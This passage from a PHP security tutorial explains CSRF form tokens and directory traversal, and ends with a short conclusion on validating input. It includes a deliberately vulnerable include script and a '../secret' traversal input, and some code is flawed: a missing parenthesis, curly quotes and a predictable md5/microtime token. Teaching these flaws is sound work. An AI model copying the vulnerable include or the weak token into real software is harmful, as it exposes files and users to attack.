How can we prevent this? Well, in this case we could simply ask the admin to verify the action with his password before performing it. Yes, I know, this is kind of like Windows Vista’s UAC (User Account Control) that people claim is incredibly annoying and prompts them to verify their action every fifth millisecond, but sometimes you will, unfortunately, have to add just a little amount of nuisance in order to keep your application safe.
Had the account come from a form then we could simply require that the information (in the previous case the username) be submitted using post and read it like $_POST['username']. However, this adds only a minimum of extra security. More sophisticated attacks than the above could just as easily trick the user into performing a POST request instead GET. We could use the “enter your password” method like before, but we could also use another kind of token. Imagine this form:
  1. <?php
  2. session_start();
  3. $_SESSION['token'] = uniqid(md5(microtime()), true);
  4. ?>
  5. <form action=“/delete-user.php” method=“post”>
  6. <input type=“hidden” name=“token” value=”<?php echo
  7. $_SESSION['token'] ?>/>
  8. Username: <input type=“text” name=“username” />
  9. <button type=“submit”>Delete user</button>
  10. </form>
Here we have added a hidden field called token and stored its content in a session. On the next page we can do something like this:
  1. <?php
  2. session_start();
  3. if ($_POST['token'] !== $_SESSION['token']) {
  4. die(‘Invalid token’);
  5. }
  6. // form processing here
  7. ?>
We simply check that it is a valid token and we have then successfully ensured that the request did in fact come from the form.

9. Directory traversal

Imagine the same script we used when talking about RFI attacks:
  1. <?php
  2. $page = isset($_GET['page']) ? $_GET['page'] : ‘home’;
  3. require $page . ‘.php’;
  4. ?>
We will just say that this particular file is stored in the following path: /home/someone/public_html/index.php. The attacker could then do: index.php?page=../secret
That would give us /home/someone/public_html/secret.php which would otherwise have been accessible. I am sure you could think of more dangerous situations than this particular one.
There are a couple of ways you could prevent this with. First of all you could have an array of valid pages, e.g.:
  1. $pages = array(
  2. ‘home’,
  3. ‘login’,
  4. ‘logout’,
  5. // etc.
  6. );
  7. if (!in_array($page, $pages) {
  8. die(‘Invalid page’);
  9. }
Another thing you could do is check that the requested file matches a particular format:
  1. $file = str_replace(‘\\’, ’/‘, realpath($page . ’.php’));
  2. if (!preg_match(‘%^/home/someone/public_html/[a-z]+\.php$%’, $file)) {
  3. die(‘Invalid page’);
  4. }
  5. include $file;
Basically you need to verify that the entered information is valid and conforms to what you expected.

10. Conclusion

So… In this tutorial we have talked about a lot of different security issues that you should consider and we have also talked about how much information about your application you should reveal to your users.
Remember, no information can be trusted so you need to validate, filter and/or escape both input and output that does not come directly from your system.

Source: phpplanet.org